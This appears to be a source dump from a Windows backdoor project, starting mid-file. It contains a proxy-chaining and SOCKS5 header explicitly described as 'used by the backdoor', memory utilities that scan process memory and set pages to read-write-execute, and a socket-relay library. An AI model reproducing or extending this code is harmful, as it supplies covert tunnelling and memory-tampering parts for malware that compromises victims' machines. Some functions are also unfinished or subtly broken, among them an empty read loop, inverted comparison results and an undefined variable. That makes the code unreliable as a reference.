port); 150 | 151 | // External mode - used by the backdoor 152 | socks_server *start_socks5_listener_return_object(WORD port); 153 | 154 | // Constructs the actual circuit, returns the final working SOCKET 155 | SOCKET initialize_circuit(std::vector& proxies, 156 | const SOCKET server_socket); 157 | 158 | // Destroy the proxy chain, creates a new chain. 159 | VOID destroy_chain(std::vector& proxies); 160 | 161 | // Tests the chain. Generally occurrs after failure. Removes failed nodes from working 162 | // proxies and cleans up working servers list. 163 | proxy::ER_PROXY test_circuit_and_fix(std::vector& chain); 164 | 165 | // Removes a failed server from working_servers. Cleans up the working servers 166 | // file on disk. 167 | proxy::ER_PROXY remove_broken_proxy_from_working_servers( 168 | proxy_instance *instance, std::vector& chain); 169 | 170 | // Is the proxy an element of an active circuit? 171 | bool is_server_in_circuit(const proxy_instance *instance, 172 | const std::vector> circuits); 173 | 174 | // SOCKET binding. Callback for error handling. 175 | typedef VOID PROXY_CALLBACK; 176 | proxy::PROXY_CALLBACK bound_error_callback(__in const PSOCKET listener, 177 | __in const PSOCKET chain); 178 | 179 | // Adds a proxy chain 180 | //ER_PROXY add_to_chain(__in proxy::PPROXY_INFO info, __out SOCKET *out_socket); 181 | 182 | // Returns a random proxy; does not test it. get_active_list tests the proxy 183 | proxy::PPROXY_ENTRY get_random_proxy(std::vector entries); 184 | 185 | // Syncs up close_chain, initialize_circuit and test_circuit_and_fix 186 | static CRITICAL_SECTION *sync_chain_mod; 187 | 188 | // Class for the functioning servers 189 | static UINT functional_server_counter = 0; 190 | class functional_servers; 191 | static class functional_servers *working_servers; 192 | 193 | // Return the current proxy to test (in the list) 194 | static PR_INT32 current_entry = 0; 195 | proxy::PR_INT32 get_current_test_proxy(__in std::vector entries); 196 | 197 | // select Timeouts 198 | static const UINT timeout_s_ = 30; 199 | static const UINT timeout_ms_ = 0; 200 | 201 | // Port constants 202 | static const UINT port_http = DEFAULT_HTTP_PORT; 203 | 204 | // proxy testing ///////////////////////////////////////////////////////////// 205 | static const PCHAR test_http_header = "GET / HTTP/1.1\r\nHost: "; 206 | static const PCHAR test_header_end = "\r\n\r\n"; 207 | 208 | // cmyip.com 209 | static const PCHAR test_cmyip_host = "198.100.149.221"; 210 | static const UINT test_cmyip_port = 80; 211 | static const PCHAR test_cmyip_look_for = "HTTP/1.1 200 OK"; 212 | 213 | // Local HTTPd 214 | static const PCHAR test_local_host = "127.0.0.1"; 215 | static const UINT test_local_port = 80; 216 | static const PCHAR test_local_look_for = "HTTP/1.1 200 OK"; 217 | 218 | // Main test definition 219 | static const PCHAR test_host = test_cmyip_host; 220 | static const UINT test_port = test_cmyip_port; 221 | static const PCHAR test_look_for = test_cmyip_look_for; 222 | 223 | // SOCKS4 protocol ////////////////////////////////////////////////////////// 224 | static const BYTE socks4_version = 0x04; 225 | static const BYTE socks4_command_code_stream = 0x01; 226 | static const BYTE socks4_command_code_bind = 0x02; 227 | struct socks4_request { 228 | BYTE version; 229 | BYTE command_code; 230 | WORD port; 231 | DWORD ip; 232 | }; 233 | 234 | static const BYTE socks4_response_null = 0x00; 235 | static const BYTE socks4_request_granted = 0x5a; 236 | static const BYTE socks4_request_rejected = 0x5b; 237 | struct socks4_response { 238 | BYTE null; 239 | BYTE status; 240 | WORD arbitrary1; 241 | DWORD arbitrary2; 242 | }; 243 | 244 | 245 | // SOCKS5 protocol /////////////////////////////////////////////////////////// 246 | // Initial greeting from client -> server 247 | static const BYTE socks5_version = 0x05; // indicates socks5 type 248 | static const BYTE socks5_num_of_auth_methods = 0x01; // 1 type of method 249 | static const BYTE socks5_auth_method = 0x00; // No authentication 250 | static const BYTE socks5_greeting[ sizeof(socks5_version) + 251 | sizeof(socks5_num_of_auth_methods) + 252 | sizeof(socks5_auth_method)] = { 253 | socks5_version, 254 | socks5_num_of_auth_methods, 255 | socks5_auth_method 256 | }; 257 | // Initial greeting response server -> client 258 | struct socks5_greeting_response { 259 | BYTE version; 260 | BYTE auth_method; 261 | }; 262 | 263 | struct socks5_connect_generic_response { 264 | BYTE version; 265 | BYTE status; 266 | BYTE reserved; 267 | BYTE type; 268 | DWORD address; 269 | BYTE port[2]; 270 | }; 271 | 272 | // Client connection request 273 | typedef DWORD dest_ip; 274 | static const BYTE socks5_command_code = 0x01; // TCP/IP stream connection 275 | static const BYTE socks5_reserved = 0x00; 276 | static const BYTE socks5_address_type_ip = 0x01; // Indicates IPv4 address 277 | static const BYTE socks5_address_type_dom = 0x03; // Domain 278 | struct socks5_client_connection_request { 279 | BYTE version; // socks5_version 280 | BYTE command_code; // TCP/IP stream connection 281 | BYTE reserved; // Always 0x00 282 | BYTE address_type; // socks5_address_type_ip/socks5_address_type_dom 283 | dest_ip ip; 284 | WORD port; 285 | /* 286 | union { 287 | dest_ip destination_ip; 288 | struct domain { 289 | BYTE domain_length; 290 | CHAR domain_name[]; 291 | }; 292 | };*/ 293 | }; 294 | struct socks5_client_connection_request_domain { 295 | BYTE version; 296 | BYTE command_code; 297 | BYTE reserved; 298 | BYTE address_type; 299 | BYTE name_length; 300 | }; 301 | static const BYTE socks5_status_ok = 0x00; 302 | struct socks5_client_connection_response { 303 | BYTE version; 304 | BYTE status; 305 | BYTE reserved; 306 | BYTE address_type; 307 | dest_ip ip; 308 | WORD port; 309 | }; 310 | struct socks5_client_connection_response_domain { 311 | BYTE version; 312 | BYTE status; 313 | BYTE reserved; 314 | BYTE address_type; 315 | BYTE address_size; 316 | }; 317 | 318 | 319 | // Known proxies file 320 | static const LPSTR known_file_list = KNOWN_PROXY_LIST; 321 | 322 | #ifdef SERVER_ONLY_MODE 323 | SOCKET connect_to_socks5_server(__in const LPSTR server_address, __in const WORD server_port, 324 | __in const LPSTR dest_address, __in const WORD dest_port); 325 | #endif 326 | }; 327 | 328 | -------------------------------------------------------------------------------- /common/mem.cpp: -------------------------------------------------------------------------------- 1 | // mem::free does not release ALLOC_INFO!!! 2 | // mem::size uses HeapFree instead of cHeapFree 3 | 4 | #include 5 | 6 | #include "api.h" 7 | #include "common/mem.h" 8 | #include "core/threads.h" 9 | 10 | 11 | #include "debug/assert.h" 12 | #include "debug/error.h" 13 | #include "debug/debug.h" 14 | 15 | #ifdef LOG_ALLOCS 16 | mem::PALLOC_INFO log_array_start = NULL; 17 | mem::PALLOC_INFO log_array_current = NULL; 18 | #endif 19 | 20 | // The private heap handle 21 | static HANDLE private_heap = INVALID_HANDLE_VALUE; 22 | 23 | VOID mem::init(VOID) 24 | { 25 | 26 | private_heap = INVALID_HANDLE_VALUE; 27 | 28 | // Initialize the log array 29 | 30 | #ifdef LOG_ALLOCS 31 | if (log_array_start == NULL) { 32 | log_array_start = (PALLOC_INFO)cHeapAlloc(mem::getlocalheap(), 0, sizeof(ALLOC_INFO)); 33 | mem::zeromem(log_array_start, sizeof(ALLOC_INFO)); 34 | log_array_current = NULL; 35 | } 36 | #endif 37 | 38 | return; 39 | } 40 | 41 | VOID mem::zeromem(LPVOID mem, UINT size) 42 | { 43 | PBYTE ptr = (PBYTE)mem; 44 | UINT i = 0; 45 | 46 | while (i < size) { 47 | *ptr = 0; 48 | ptr++; 49 | i++; 50 | } 51 | 52 | return; 53 | } 54 | 55 | HANDLE mem::getlocalheap(VOID) 56 | { 57 | 58 | if (private_heap == INVALID_HANDLE_VALUE) { 59 | private_heap = cGetProcessHeap();//cHeapCreate(0, 0x1000, 0); 60 | if (private_heap == NULL) { 61 | error::halt_dll(error::ER_MEM_ALLOC_FAILURE, error::default_halt_code); 62 | } 63 | } 64 | 65 | return private_heap; 66 | } 67 | 68 | LPVOID mem::malloc(SIZE_T size) 69 | { 70 | if (size == 0) return NULL; 71 | 72 | LPVOID buffer = cHeapAlloc(mem::getlocalheap(), 0, size); 73 | if (buffer == NULL) { 74 | error::halt_dll(error::ER_MEM_ALLOC_FAILURE, error::default_halt_code); 75 | return NULL; 76 | } 77 | 78 | mem::zeromem(buffer, size); 79 | #ifdef LOG_ALLOCS 80 | mem::add_alloc_element(buffer, size); 81 | #endif 82 | 83 | return buffer; 84 | } 85 | 86 | LPVOID mem::malloc_and_copy(__in const SIZE_T size, __in const LPVOID buffer) 87 | { 88 | if (size == 0) return NULL; 89 | 90 | LPVOID buffer_new = (LPVOID)mem::malloc(size); 91 | mem::copy(buffer_new, buffer, size); 92 | 93 | return buffer_new; 94 | } 95 | 96 | UINT mem::size(LPCVOID mem) 97 | { 98 | return (UINT)HeapSize(mem::getlocalheap(), 0, mem); 99 | } 100 | 101 | // copy_data: true: copies data from old buffer into new buffer (assuming size is big enough. 102 | // if it isn't, nothing is done). deallocates old_buffer 103 | // false: does not copy, but deallocates old_buffer 104 | LPVOID mem::realloc(LPVOID old_buffer, UINT new_buffer_size, bool copy_data) 105 | { 106 | LPVOID new_buffer = (LPVOID)mem::malloc(new_buffer_size); 107 | mem::size(new_buffer); 108 | if (copy_data == true && (new_buffer_size >= mem::size(old_buffer))) { 109 | mem::copy(new_buffer, old_buffer, mem::size(old_buffer)); 110 | } 111 | 112 | mem::free(old_buffer); 113 | return new_buffer; 114 | } 115 | 116 | #ifdef LOG_ALLOCS 117 | VOID mem::add_alloc_element(LPVOID buffer, UINT size) 118 | { 119 | if (log_array_current == NULL) { 120 | log_array_current = log_array_start; 121 | log_array_current->buffer = buffer; 122 | log_array_current->buffer_size = size; 123 | return; 124 | } 125 | 126 | log_array_current->next = (PALLOC_INFO)cHeapAlloc(mem::getlocalheap(), 0, size); 127 | mem::zeromem(log_array_current->next, sizeof(ALLOC_INFO)); 128 | log_array_current = log_array_current->next; 129 | log_array_current->buffer = buffer; 130 | log_array_current->buffer_size = size; 131 | 132 | return; 133 | } 134 | #endif 135 | 136 | VOID mem::free(LPVOID buffer) 137 | { 138 | if (buffer == NULL) return; 139 | 140 | cHeapFree(mem::getlocalheap(), 0, buffer); 141 | return; 142 | } 143 | 144 | VOID mem::free_and_null(LPVOID *buffer) 145 | { 146 | cHeapFree(mem::getlocalheap(), 0, *buffer); 147 | *buffer = NULL; 148 | } 149 | 150 | VOID mem::copy(LPVOID dest, LPCVOID src, UINT size) 151 | { 152 | if (dest == NULL || src == NULL || size == 0) { 153 | DebugBreak(); 154 | } 155 | 156 | for (UINT i = 0; i < size; i++) { 157 | *(PBYTE)((DWORD_PTR)dest + i) = *(PBYTE)((DWORD_PTR)src + i); 158 | } 159 | 160 | return; 161 | } 162 | 163 | bool mem::compare(LPCVOID a, LPCVOID b, UINT size) 164 | { 165 | if (a == NULL || b == NULL || size == 0) return false; 166 | 167 | for (UINT i = 0; i < size; i++) { 168 | if (*(PBYTE)((DWORD_PTR)a + i) != *(PBYTE)(((DWORD_PTR)b + i))) { 169 | return true; 170 | } 171 | } 172 | 173 | return false; 174 | } 175 | 176 | bool mem::is_object_zero(LPCVOID buffer, UINT buffer_size) 177 | { 178 | if (buffer == NULL || buffer_size == 0) return false; 179 | 180 | PBYTE ptr = (PBYTE)buffer; 181 | for (UINT i = 0; i < buffer_size; i++) { 182 | if (ptr[i] == 0) return false; 183 | } 184 | 185 | return true; 186 | } 187 | 188 | VOID mem::set(LPVOID buffer, BYTE value, UINT size) 189 | { 190 | PBYTE ptr = (PBYTE)buffer; 191 | for (UINT i = 0; i < size; i++) { 192 | ptr[i] = value; 193 | } 194 | 195 | return; 196 | } 197 | 198 | // note: sequence_size must be greater than sizeof(DWORD) 199 | LPVOID mem::scan_memory(DWORD_PTR start, DWORD_PTR end, PBYTE sequence, UINT sequence_size) 200 | { 201 | 202 | /* 203 | SIZE_T WINAPI VirtualQuery( 204 | _In_opt_ LPCVOID lpAddress, 205 | _Out_ PMEMORY_BASIC_INFORMATION lpBuffer, 206 | _In_ SIZE_T dwLength 207 | ); 208 | */ 209 | if (start == end || sequence == NULL || sequence_size < sizeof(DWORD)) return NULL; 210 | 211 | LPVOID current_base = (LPVOID)start; 212 | while ((DWORD_PTR)current_base < end) { 213 | MEMORY_BASIC_INFORMATION mem_info; 214 | mem::zeromem(&mem_info, sizeof(MEMORY_BASIC_INFORMATION)); 215 | //PMEMORY_BASIC_INFORMATION mem_info = (PMEMORY_BASIC_INFORMATION)mem::malloc(sizeof(MEMORY_BASIC_INFORMATION)); 216 | SIZE_T query_status = cVirtualQuery(current_base, &mem_info, sizeof(MEMORY_BASIC_INFORMATION)); 217 | if (query_status != sizeof(MEMORY_BASIC_INFORMATION)) return NULL; 218 | 219 | if (mem_info.State != MEM_COMMIT) { 220 | current_base = (LPVOID)((DWORD_PTR)current_base + mem_info.RegionSize); 221 | continue; 222 | } 223 | 224 | // Scan region 225 | PBYTE ptr = (PBYTE)current_base; 226 | while ((DWORD)((DWORD)((DWORD_PTR)ptr - (DWORD_PTR)current_base) + sequence_size) <= mem_info.RegionSize) { 227 | 228 | // Check first byte 229 | if (*(PDWORD)ptr != *(PDWORD)sequence) { 230 | ptr++; 231 | continue; 232 | } 233 | 234 | if (sequence_size == sizeof(DWORD)) return (LPVOID)ptr; 235 | 236 | UINT i = 0; 237 | for (; i < sequence_size; i++) { 238 | if (*(PBYTE)((DWORD_PTR)ptr + i) != *(PBYTE)((DWORD_PTR)sequence + i)) break; 239 | } 240 | if (i == sequence_size) { 241 | return (LPVOID)ptr; 242 | } 243 | 244 | ptr++; 245 | } 246 | 247 | current_base = (LPVOID)((DWORD_PTR)current_base + mem_info.RegionSize); 248 | } 249 | 250 | return NULL; 251 | } 252 | 253 | bool page_state_sync_init = false; 254 | CRITICAL_SECTION page_state_sync; 255 | mem::ERROR_MEM_PAGE mem::set_page_permissions(mem::PMEM_PAGE_STATE page_state, MEM_STATE new_state) 256 | { 257 | // Check for r on page 258 | if (page_state == NULL || cIsBadReadPtr(page_state->address, sizeof(DWORD))) return mem::ER_MEM_PAGE_GENERAL_FAILURE; 259 | 260 | if (page_state_sync_init == false) { 261 | cInitializeCriticalSection(&page_state_sync); 262 | MEM_PAGE_SYNC_ENTER(&page_state_sync); 263 | } 264 | 265 | #ifndef DISABLE_THREADING 266 | thread_space::thread_switch(); 267 | #endif 268 | 269 | PMEMORY_BASIC_INFORMATION mem_info = (PMEMORY_BASIC_INFORMATION)mem::malloc(sizeof(MEMORY_BASIC_INFORMATION)); 270 | MEM_ERROR mem_status = (MEM_ERROR)cVirtualQuery((LPCVOID)page_state->address, mem_info, sizeof(MEMORY_BASIC_INFORMATION)); 271 | if ((UINT)mem_status != sizeof(MEMORY_BASIC_INFORMATION)) { 272 | #ifndef DISABLE_THREADING 273 | thread_space::thread_switch(); 274 | #endif 275 | mem::free(mem_info); 276 | MEM_PAGE_SYNC_LEAVE(&page_state_sync); 277 | return mem::ER_MEM_PAGE_GENERAL_FAILURE; 278 | } 279 | 280 | switch (new_state) { 281 | case mem::MEM_STATE_RWX: 282 | mem_status = (MEM_ERROR)cVirtualProtect( (LPVOID)mem_info->BaseAddress, 283 | mem_info->RegionSize, 284 | PAGE_EXECUTE_READWRITE, 285 | &(page_state->old_protect)); 286 | if (!mem_status) { 287 | mem::free(mem_info); 288 | MEM_PAGE_SYNC_LEAVE(&page_state_sync); 289 | return mem::ER_MEM_PAGE_GENERAL_FAILURE; 290 | } 291 | page_state->state = MEM_STATE_RWX; 292 | break; 293 | case mem::MEM_STATE_RX: 294 | DWORD junk; 295 | mem_status = (MEM_ERROR)cVirtualProtect( (LPVOID)mem_info->BaseAddress, 296 | mem_info->RegionSize, 297 | page_state->old_protect, 298 | &junk); 299 | if (!mem_status) { 300 | mem::free(mem_info); 301 | MEM_PAGE_SYNC_LEAVE(&page_state_sync); 302 | return mem::ER_MEM_PAGE_GENERAL_FAILURE; 303 | } 304 | page_state->state = MEM_STATE_RX; 305 | break; 306 | default: 307 | #ifndef DISABLE_THREADING 308 | thread_space::thread_switch(); 309 | #endif 310 | mem::free(mem_info); 311 | MEM_PAGE_SYNC_LEAVE(&page_state_sync); 312 | return mem::ER_MEM_PAGE_GENERAL_FAILURE; 313 | } 314 | 315 | #ifndef DISABLE_THREADING 316 | thread_space::thread_switch(); 317 | #endif 318 | 319 | mem::free(mem_info); 320 | MEM_PAGE_SYNC_LEAVE(&page_state_sync); 321 | return mem::ER_MEM_PAGE_OK; 322 | } 323 | 324 | mem::ER_MEM_INFO mem::get_memory_info(__out mem_info **info) 325 | { 326 | *info = new mem_info(true); 327 | 328 | return ER_STAT_OK; 329 | } 330 | 331 | LPVOID mem::valloc(__in const UINT min_size, __in const mem::PAGE_PERMISSIONS access) 332 | { 333 | DWORD total_size = ROUND_BY_PAGE(min_size); 334 | if (total_size == 0) { 335 | return NULL; 336 | } 337 | 338 | return cVirtualAlloc(NULL, (UINT)total_size, mem::default_alloc, (DWORD)access); 339 | } 340 | 341 | bool mem::vfree(__in const mem::PAGE_BASE base, __in const UINT min_size) 342 | { 343 | DWORD total_size = ROUND_BY_PAGE(min_page); 344 | if (total_size == 0 || base == NULL) { 345 | return false; 346 | } 347 | 348 | BOOL return_status = cVirtualFree((LPVOID)base, total_size, mem::default_dealloc); 349 | if (return_status) { 350 | return true; 351 | } else { 352 | return false; 353 | } 354 | } 355 | 356 | #ifdef USE_CUSTOM_ALLOCATOR 357 | void *operator new(__in const std::size_t length) 358 | { 359 | void *_allocated = (void *)mem::malloc((SIZE_T)length); 360 | ASSERT(_allocated != NULL, "Failed to allocate memory!"); 361 | 362 | 363 | 364 | return _allocated; 365 | } 366 | #endif 367 | 368 | bool mem::shift_bytes_at_beg(__inout LPVOID buffer, 369 | __in const UINT buffer_len, 370 | __in const UINT shift_by) 371 | { 372 | if (shift_by >= buffer_len) { 373 | return false; 374 | } 375 | 376 | 377 | PBYTE ptr = (PBYTE)mem::malloc(buffer_len); 378 | PBYTE src = (PBYTE)buffer; 379 | 380 | UINT data_to_move = buffer_len - shift_by; 381 | for (UINT i = shift_by; i < buffer_len; i++) { 382 | ptr[i] = src[i]; 383 | } 384 | 385 | 386 | return true; 387 | } 388 | 389 | bool mem::buffer2::append(__in const mem::buffer2& buffer_in) 390 | { 391 | LPVOID current_buffer = (LPVOID)this->buffer; 392 | this->buffer = (LPVOID)mem::malloc(this->buffer_size + buffer_in.get_raw_size()); 393 | 394 | mem::copy(this->buffer, current_buffer, this->buffer_size); 395 | mem::copy((LPVOID)((DWORD_PTR)this->buffer + this->buffer_size), *buffer_in, buffer_in.get_raw_size()); 396 | this->buffer_size += buffer_in.get_raw_size(); 397 | 398 | #ifndef DISABLE_BUFFER2_VECTORED 399 | UINT new_buffer_size = buffer_in.get_raw_size(); 400 | if (Elements->size() != 0) { 401 | PBYTE ptr = (PBYTE)*buffer_in; 402 | for (UINT c = 0; c < new_buffer_size; c++) { 403 | Elements->push_back(*(PBYTE)&ptr[c]); 404 | } 405 | } else { 406 | return false; 407 | } 408 | #endif 409 | 410 | return true; 411 | } -------------------------------------------------------------------------------- /net/socket_lib_old_bound_io_thread.cpp: -------------------------------------------------------------------------------- 1 | #define _WINSOCKAPI_ 2 | 3 | #include 4 | 5 | #include 6 | #include 7 | 8 | #include "socket_lib.h" 9 | 10 | #include "../../_api/common/mem.h" 11 | #include "../../_api/common/str.h" 12 | #include "../../_api/api.h" 13 | 14 | #pragma comment (lib, "ws2_32.lib") 15 | 16 | using namespace socket_tools; 17 | 18 | socket_tools::SOCKET_THREAD_ENTRY __st_thread_conv socket_data::wait_thread(__in const __this_ptr This) 19 | { 20 | socket_tools::data *new_data; 21 | while (TRUE) { 22 | LPVOID buffer; 23 | UINT buffer_size; 24 | socket_tools::ER_WAIT_AND_READ wait_status = socket_tools::wait_and_read( 25 | This->get_socket(), socket_tools::_timeout_s, socket_tools::_timeout_ms, &buffer, &buffer_size); 26 | switch (wait_status) 27 | { 28 | case ER_WAIT_OK: 29 | new_data = new socket_tools::data(buffer, buffer_size, This->get_socket(), INVALID_SOCKET); 30 | This->handler(new_data, This); 31 | return; 32 | case ER_WAIT_FAIL: 33 | break; 34 | case ER_WAIT_NOTHING_RECEIVED: 35 | break; 36 | case ER_WAIT_TIMEOUT: 37 | continue; 38 | default: 39 | break; 40 | } 41 | } 42 | 43 | // Close socket, cleanup 44 | delete This; 45 | } 46 | 47 | socket_data::SOCKET_DATA_ERROR socket_tools::socket_data::wait_and_dispatch( 48 | __in const SOCKET rx_socket, __in const socket_data::f_handler handler) 49 | { 50 | if (rx_socket == INVALID_SOCKET || handler == NULL) return WAIT_FAIL; 51 | 52 | this->handler = handler; 53 | this->wait_and_read_thread = socket_tools::start_thread((LPTHREAD_START_ROUTINE)wait_thread, this); 54 | if (this->wait_and_read_thread == NULL) return WAIT_FAIL; 55 | 56 | return WAIT_OK; 57 | } 58 | 59 | socket_data::socket_data(__in PINIT_SOCKET_DATA init_data_param) 60 | { 61 | if (init_data_param == NULL) return; 62 | this->init_data = (PINIT_SOCKET_DATA)init_data_param; 63 | 64 | socket_handle = INVALID_SOCKET; 65 | wait_and_read_thread = INVALID_HANDLE_VALUE; 66 | ip = NULL; 67 | domain = NULL; 68 | port = init_data_param->port; 69 | 70 | if (init_data_param->type == server_type::TYPE_IP) { 71 | this->ip = init_data_param->ip; 72 | } else if (init_data_param->type == server_type::TYPE_DOMAIN) { 73 | struct hostent *host_info = gethostbyname((const char *)init_data_param->domain->to_lpstr()); 74 | struct in_addr address; 75 | mem::zeromem(&address, sizeof(struct in_addr)); 76 | address.S_un.S_addr = *(u_long *)host_info->h_addr_list[0]; 77 | this->ip = new str_string(inet_ntoa(address)); 78 | } else { 79 | return; 80 | } 81 | 82 | if (socket_tools::init_wsastartup == true) { 83 | if (socket_tools::wsadata == NULL) { 84 | socket_tools::wsadata = (WSADATA *)mem::malloc(sizeof(WSADATA)); 85 | ERROR_CODE wsa_status = WSAStartup(MAKEWORD(2, 2), socket_tools::wsadata); 86 | if (wsa_status) return; 87 | } 88 | } 89 | 90 | SOCKET tx_socket = INVALID_SOCKET; 91 | tx_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 92 | if (tx_socket == INVALID_SOCKET) return; 93 | 94 | struct sockaddr_in address; 95 | mem::zeromem(&address, sizeof(struct sockaddr_in)); 96 | address.sin_addr.S_un.S_addr = inet_addr(this->ip->to_lpstr()); 97 | address.sin_family = AF_INET; 98 | address.sin_port = htons(init_data_param->port); 99 | ST_ERROR socket_status = connect(tx_socket, (const sockaddr *)&address, sizeof(const sockaddr)); 100 | if (socket_status == SOCKET_ERROR) { 101 | return; 102 | } 103 | 104 | this->socket_handle = tx_socket; 105 | return; 106 | } 107 | 108 | class socket_tools::socket_bind { 109 | private: 110 | // Sockets 111 | SOCKET a; 112 | SOCKET b; 113 | 114 | // socket_data class (optional) 115 | socket_data *sa; 116 | socket_data *sb; 117 | 118 | // Bind state 119 | bool bind_state; 120 | 121 | // Callbacks 122 | socket_tools::error_callback error_handler; 123 | 124 | // Defs 125 | typedef VOID BIND_THREAD; 126 | 127 | // Buffers 128 | LPVOID buffer_a; 129 | LPVOID buffer_b; 130 | 131 | CRITICAL_SECTION *lock; 132 | 133 | typedef bool IO_MODE; //true: listen on a. false: listen on b. 134 | typedef struct { 135 | SOCKET a; 136 | SOCKET b; 137 | IO_MODE mode; 138 | socket_bind *This; 139 | } IO_INFO, *PIO_INFO; 140 | PIO_INFO info_a, info_b; 141 | HANDLE thread_a; 142 | HANDLE thread_b; 143 | static socket_bind::BIND_THREAD __declspec(noreturn) __st_thread_conv socket_bind::bound_io_thread(PIO_INFO info); 144 | 145 | // Error handler. Cleans up and dispatches to error_handler callback 146 | VOID socket_bind::error_handler_local(VOID); 147 | 148 | // Data handler. Data is passed to this function. If it is NULL, it is bypassed. 149 | socket_tools::data_callback data_handler; 150 | 151 | public: 152 | // Ctors/Dtors. a is generally a client (obtained through listen), b is a server (obtained through connect). 153 | socket_bind(socket_data *a, socket_data *b, error_callback error_handler, data_callback data_handler) : 154 | a(INVALID_SOCKET), 155 | b(INVALID_SOCKET), 156 | error_handler(error_handler), data_handler(data_handler), 157 | lock(NULL), 158 | thread_a(INVALID_HANDLE_VALUE), 159 | thread_b(INVALID_HANDLE_VALUE), 160 | sa(a), sb(b), 161 | buffer_a(NULL), buffer_b(NULL) 162 | { 163 | if (a->get_socket() == INVALID_SOCKET || b->get_socket() == INVALID_SOCKET) return; 164 | this->a = sa->get_socket(); 165 | this->b = sb->get_socket(); 166 | 167 | this->lock = (PCRITICAL_SECTION)mem::malloc(sizeof(CRITICAL_SECTION)); 168 | cInitializeCriticalSection(this->lock); 169 | 170 | // Fix this shit 171 | this->info_a = (PIO_INFO)mem::malloc(sizeof(IO_INFO)); 172 | this->info_b = (PIO_INFO)mem::malloc(sizeof(IO_INFO)); 173 | info_a->a = info_b->a = this->a; 174 | info_a->b = info_b->b = this->b; 175 | info_a->This = info_b->This = this; 176 | info_a->mode = true; 177 | info_b->mode = false; 178 | 179 | this->thread_a = start_thread((LPTHREAD_START_ROUTINE)bound_io_thread, info_a); 180 | this->thread_b = start_thread((LPTHREAD_START_ROUTINE)bound_io_thread, info_b); 181 | 182 | this->bind_state = true; 183 | } 184 | socket_bind(SOCKET a, SOCKET b, error_callback error_handler, data_callback data_handler) : 185 | a(a), 186 | b(b), 187 | error_handler(error_handler), data_handler(data_handler), 188 | lock(NULL), 189 | thread_a(INVALID_HANDLE_VALUE), 190 | thread_b(INVALID_HANDLE_VALUE), 191 | sa(NULL), sb(NULL), 192 | buffer_a(NULL), buffer_b(NULL) 193 | { 194 | this->lock = (PCRITICAL_SECTION)mem::malloc(sizeof(CRITICAL_SECTION)); 195 | cInitializeCriticalSection(this->lock); 196 | 197 | this->info_a = (PIO_INFO)mem::malloc(sizeof(IO_INFO)); 198 | this->info_b = (PIO_INFO)mem::malloc(sizeof(IO_INFO)); 199 | info_a->a = info_b->a = this->a; 200 | info_a->b = info_b->b = this->b; 201 | info_a->This = info_b->This = this; 202 | info_a->mode = true; 203 | info_b->mode = false; 204 | 205 | this->thread_a = start_thread((LPTHREAD_START_ROUTINE)bound_io_thread, info_a); 206 | this->thread_b = start_thread((LPTHREAD_START_ROUTINE)bound_io_thread, info_b); 207 | 208 | this->bind_state = true; 209 | } 210 | ~socket_bind(VOID) 211 | { 212 | mem::free(this->lock); 213 | cTerminateThread(this->thread_a, 0); 214 | cTerminateThread(this->thread_b, 0); 215 | //cCloseHandle(this->thread_a); 216 | //cCloseHandle(this->thread_b); 217 | 218 | if (this->sa != NULL) delete sa; 219 | if (this->sb != NULL) delete sb; 220 | 221 | if (this->a != INVALID_SOCKET) closesocket(a); 222 | if (this->b != INVALID_SOCKET) closesocket(b); 223 | } 224 | 225 | // Creates threads 226 | //BIND_THREAD 227 | 228 | // Sync 229 | VOID socket_bind::sync(bool state) 230 | { 231 | switch (state) 232 | { 233 | case true: 234 | cEnterCriticalSection(this->lock); 235 | return; 236 | case false: 237 | cLeaveCriticalSection(this->lock); 238 | return; 239 | } 240 | } 241 | 242 | bool socket_bind::get_bind_state(VOID) 243 | { 244 | return this->bind_state; 245 | } 246 | }; 247 | 248 | socket_bind::BIND_THREAD __declspec(noreturn) __st_thread_conv socket_tools::socket_bind::bound_io_thread(PIO_INFO info) 249 | { 250 | cSleep(10); 251 | SOCKET listener, recipient; 252 | switch (info->mode) 253 | { 254 | case true: //a->b (wait and read on a) 255 | listener = info->a; 256 | recipient = info->b; 257 | //Sleep(INFINITE); 258 | break; 259 | case false: 260 | listener = info->b; 261 | recipient = info->a; 262 | } 263 | 264 | printf("[+] I/O BIND: listener: 0x%08x. recipient: 0x%08x\n", listener, recipient); 265 | 266 | while (TRUE) { 267 | socket_tools::data *new_data; 268 | LPVOID buffer; 269 | UINT buffer_size; 270 | //printf("0x%08x mode: %d\n", listener, info->mode); 271 | socket_tools::ER_WAIT_AND_READ wait_status = socket_tools::wait_and_read(listener, 272 | socket_tools::_timeout_s, socket_tools::_timeout_ms, &buffer, &buffer_size); 273 | //info->This->sync(true); 274 | switch (wait_status) 275 | { 276 | case ER_WAIT_NOTHING_RECEIVED: 277 | //info->This->sync(false); 278 | continue; 279 | case ER_WAIT_OK: 280 | // Send data 281 | new_data = new socket_tools::data(buffer, buffer_size, listener, recipient); 282 | info->This->data_handler(new_data); 283 | 284 | //info->This->sync(false); 285 | continue; 286 | case ER_WAIT_FAIL: 287 | info->This->error_handler(&listener, &recipient, info->This); 288 | cSleep(INFINITE); 289 | case ER_WAIT_TIMEOUT: 290 | //info->This->sync(false); 291 | continue; 292 | } 293 | } 294 | } 295 | 296 | socket_tools::socket_bind *socket_tools::bind_sockets(SOCKET a, SOCKET b, socket_data *sa, socket_data *sb, 297 | error_callback error_handler, data_callback data_handler) 298 | { 299 | if (error_handler == NULL) return NULL; 300 | 301 | socket_tools::socket_bind *bound_sockets = new socket_tools::socket_bind(sa, sb, error_handler, data_handler); 302 | 303 | return bound_sockets; 304 | } 305 | 306 | socket_tools::ER_WAIT_AND_READ socket_tools::wait_and_read(__in SOCKET rx_socket, 307 | __in const TIME32 time_s, __in const TIME32 time_u, __inout LPVOID *buffer, __out PUINT buffer_size) 308 | { 309 | if (rx_socket == INVALID_SOCKET) return ER_WAIT_FAIL; 310 | 311 | *buffer = NULL; 312 | *buffer_size = 0; 313 | 314 | struct timeval timed; 315 | mem::zeromem(&timed, sizeof(struct timeval)); 316 | timed.tv_sec = time_s; 317 | timed.tv_usec = time_u; 318 | fd_set read_flags, write_flags; 319 | FD_ZERO(&read_flags); 320 | FD_ZERO(&write_flags); 321 | FD_SET(0, &write_flags); 322 | FD_SET(rx_socket, &read_flags); 323 | 324 | BYTE rx_buffer[recv_buf_size]; 325 | while (TRUE) { 326 | 327 | } 328 | 329 | 330 | /* 331 | PUCHAR rx_buffer = (PUCHAR)mem::malloc(str::ASCII_CHAR); 332 | UINT rx_buffer_length = str::ASCII_CHAR; 333 | while (TRUE) { 334 | mem::zeromem(rx_buffer_new, 